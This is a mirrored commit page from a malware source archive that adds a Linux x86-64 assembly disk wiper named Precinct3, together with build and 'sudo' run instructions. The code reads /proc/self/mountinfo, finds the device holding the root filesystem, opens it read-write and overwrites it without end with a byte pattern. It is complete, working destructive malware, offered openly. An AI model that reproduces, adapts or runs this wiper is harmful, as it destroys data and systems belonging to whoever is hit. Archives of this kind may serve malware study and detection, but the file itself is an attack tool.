mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 09:56:10 +00:00
Add files via upload
This commit is contained in:
vxunderground
GitHub
parent
9bc768be98
commit
5635da0837
144
VXUG/Linux.Precinct3.asm
Normal file
144
VXUG/Linux.Precinct3.asm
Normal file
@ -0,0 +1,144 @@
|
||||
;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;; ;;; ;;;;;;;;; ;;;;;;;;;
|
||||
;;; ;;; ;;; ;;; ;;; ;;; ;;; ;;;; ;;; ;;; ;;;
|
||||
;;;;;;;;; ;;;;;;;;; ;;;;;; ;;; ;;; ;;; ; ;;; ;;; ;;;
|
||||
;;; ;;;;;; ;;; ;;; ;;; ;;; ;;;; ;;; ;;;
|
||||
;;; ;;; ;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;; ;;; ;;;;;;;;; ;;;
|
||||
;-------------------------------------------------------------------------------
|
||||
; /!\ WARNING /!\
|
||||
; This program WILL destroy your disk. Run at your own risk, and only
|
||||
; on systems you are authorized to destroy.
|
||||
;
|
||||
; This program opens /proc/self/mountinfo to enumerate filesystems and disks.
|
||||
; It finds where the filesystem root (/) is mounted, and writes a pattern to
|
||||
; the entirety of the disk.
|
||||
;
|
||||
; Using /proc/self/mountinfo to find / :
|
||||
;
|
||||
; [ EXAMPLE ]
|
||||
;
|
||||
; $ grep '/ / ' /proc/self/mountinfo
|
||||
; 32 1 259:2 / / rw,relatime shared:1 - ext4 /dev/nvme0n1p2 rw,errors=remount-ro
|
||||
; $ grep '/ / ' /proc/self/mountinfo
|
||||
; 25 0 8:0 / / rw,relatime shared:1 - ext4 /dev/sda rw,errors=remount-ro
|
||||
;
|
||||
; Build:
|
||||
; $ nasm -f elf64 p3.asm ; ld p3.o -o p3
|
||||
; Run:
|
||||
; $ sudo ./p3
|
||||
;----------------------------------------------------------------- @netspooky --
|
||||
;;;;;;;;; ;;; ;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;;
|
||||
;;; ;;; ;;; ;;; ;;; ;;; ;;;
|
||||
;;; ;;;;;;;;; ;;;;;;;;; ;;;;;; ;;;;;;
|
||||
;;; ;;; ;;; ;;;;;; ;;; ;;;
|
||||
;;; ;;; ;;; ;;; ;;; ;;;;;;;;; ;;;;;;;;;
|
||||
;-------------------------------------------------------------------------------
|
||||
section .text ;
|
||||
global _start ;
|
||||
_start: ;
|
||||
mov rdi, 0x6f666e69 ; Pushing the ;
|
||||
push rdi ; file name ;
|
||||
mov rdi, 0x746e756f6d2f666c ; /proc/self/mountinfo ;
|
||||
push rdi ; onto the stack ;
|
||||
mov rdi, 0x65732f636f72702f ; ... ;
|
||||
push rdi ; ... ;
|
||||
mov rdi, rsp ; const char *pathname ;
|
||||
xor rsi, rsi ; int flags - O_RDONLY ;
|
||||
mov rax, rsi ; 0 ;
|
||||
inc rax ; 1 ;
|
||||
inc rax ; 2 - open syscall ;
|
||||
syscall ; ;
|
||||
reader: ; Reading /proc/self/mountinfo so we can parse it. ;
|
||||
inc rdx ; 1 ;
|
||||
shl rdx, 14 ; size_t count - # of bytes to read - 0x400 ;
|
||||
sub rsp, rdx ; Make space on the stack - 0x400 ;
|
||||
mov r9, rax ; Save fd in r9 for later ;
|
||||
mov rdi, rax ; int fd - The file descriptor ;
|
||||
mov rsi, rsp ; void *buf - The buffer that is the stack ;
|
||||
xor eax, eax ; 0 - read syscall ;
|
||||
syscall ; RSI still contains the buffer after syscall ;
|
||||
mov di, 0x202f ; '/ ' - The byte pattern to look for ;
|
||||
xor rcx, rcx ; 0 ;
|
||||
inc rcx ; 1 ;
|
||||
shl rcx, 14 ; 0x400 - Counter for reading the file chunk ;
|
||||
comp1: ; Looking for the first slash and space in each entry ;
|
||||
mov bx, word[rsp] ; Move word to bl ;
|
||||
cmp di, bx ; Compare to the '/ ' pattern ;
|
||||
je comp2 ; Disk entry found, onto next comparison ;
|
||||
dec rcx ; Decrement counter ;
|
||||
jz xxit ; Jump if zero to the end ;
|
||||
inc rsp ; Read the next byte in the file ;
|
||||
jmp comp1 ; Jump back to the top ;
|
||||
comp2: ; Here we are looking for the next slash and space ;
|
||||
inc rsp ; Since we already know the two bytes at the ;
|
||||
inc rsp ; pointer, inc twice to get next two bytes ;
|
||||
mov bx, word[rsp] ; Move word to bl ;
|
||||
cmp di, bx ; Make the same comparison to '/ ' ;
|
||||
je comp3 ; Disk holding / was found ;
|
||||
dec rcx ; Decrement counter ;
|
||||
jz xxit ; Jump if zero to the end ;
|
||||
dec rcx ; Decrement counter ;
|
||||
jz xxit ; Jump if zero to the end ;
|
||||
inc rsp ; If we didn't find anything, keep going ;
|
||||
jmp comp1 ; And back to first comparison ;
|
||||
comp3: ; At this point, we have located the '/ / ' record, so we can look for ;
|
||||
; the next slash in the disk name ;
|
||||
inc rsp ; Increment through the rest of the line ;
|
||||
mov bl, byte[rsp] ; Get just one byte now ;
|
||||
cmp dil, bl ; dil contains '/' ;
|
||||
je prep ; If we found it, we have the disk name ;
|
||||
jmp comp3 ; If not, keep going ;
|
||||
prep: ; Preparing for the final comparison ;
|
||||
xor rcx, rcx ; This will hold the length of the disk name ;
|
||||
mov dil, 0x20 ; We are now looking for a space. ;
|
||||
getdisk: ; Here we are grabbing the entire disk name ;
|
||||
inc rsp ; Increment the index ;
|
||||
inc rcx ; Increment our length counter ;
|
||||
mov bl, byte[rsp] ; Grab a byte ;
|
||||
cmp dil, bl ; Compare to a ' ' char ;
|
||||
je opendisk ; If it matches, we found it! ;
|
||||
jmp getdisk ; If not, keep going! ;
|
||||
opendisk: ; Now we are going to open the disk as a file as we did earlier. ;
|
||||
xor rsi, rsi ; 0 ;
|
||||
add rsp, 8 ; Pushing a 0 for the null... ;
|
||||
push rsi ; ...terminator on the disk name string. ;
|
||||
sub rsp, rcx ; Now RSP points to the disk name ;
|
||||
mov rdi, rsp ; const char *pathname - pointer to disk name ;
|
||||
inc rsi ; 1 ;
|
||||
inc rsi ; 2 - O_RDWR ;
|
||||
mov rax, rsi ; 2 - open syscall ;
|
||||
syscall ;
|
||||
writer: ; We now have the disk open in RW mode, no append. ;
|
||||
mov rdi, rax ; int fd - The file descriptor ;
|
||||
mov rsi, 0x7557575757575775 ; This is the marker payload - uWWWWWWu ;
|
||||
push rsi ; Push the payload ;
|
||||
mov rsi, rsp ; const void *buf - Payload pointer ;
|
||||
xor rax, rax ; 0 ;
|
||||
inc rax ; 1 - write syscall ;
|
||||
mov rdx, rax ; Get that 1 ;
|
||||
shl rdx, 3 ; 8 size_t count - # of bytes to write ;
|
||||
syscall ;
|
||||
lseeker: ; We have to set up the lseek call so that we will continue writing ;
|
||||
; to the next byte in the file upon each additional write. ;
|
||||
xor rdx, rdx ; 0 ;
|
||||
inc rdx ; int whence; 1 = SEEK_SET ;
|
||||
mov rsi, rdx ; 1 ;
|
||||
shl rsi, 3 ; off_t offset; 8 - # of bytes to seek ;
|
||||
mov rax, rsi ; 8 - lseek syscall ;
|
||||
syscall ; Note that RDI still contains fd ;
|
||||
writer2: ; The final write loop, likely segfaults ;
|
||||
mov rsi, 0xABACABACABACABAC ; This is the pattern payload ;
|
||||
push rsi ; Push the payload ;
|
||||
mov rsi, rsp ; const void *buf - Payload pointer ;
|
||||
xor rax, rax ; 0 ;
|
||||
inc rax ; 1 - write syscall ;
|
||||
mov rdx, rax ; Get that 1 ;
|
||||
shl rdx, 3 ; 8 size_t count - # of bytes to write ;
|
||||
syscall ;
|
||||
jmp writer2 ; Bring it around town ;
|
||||
xxit: ; This is really only here in case of failure ;
|
||||
mov al, 0x3c ; exit syscall ;
|
||||
xor rdi, rdi ; 0 - Return code ;
|
||||
syscall ;------------------------------------------------------------------;
|
||||
; Dedicated to those fighting for police accountability worldwide. ;
|
||||
;------------------------------------------------------------------;
|
||||
|
||||
Loading…
Reference in New Issue
Block a user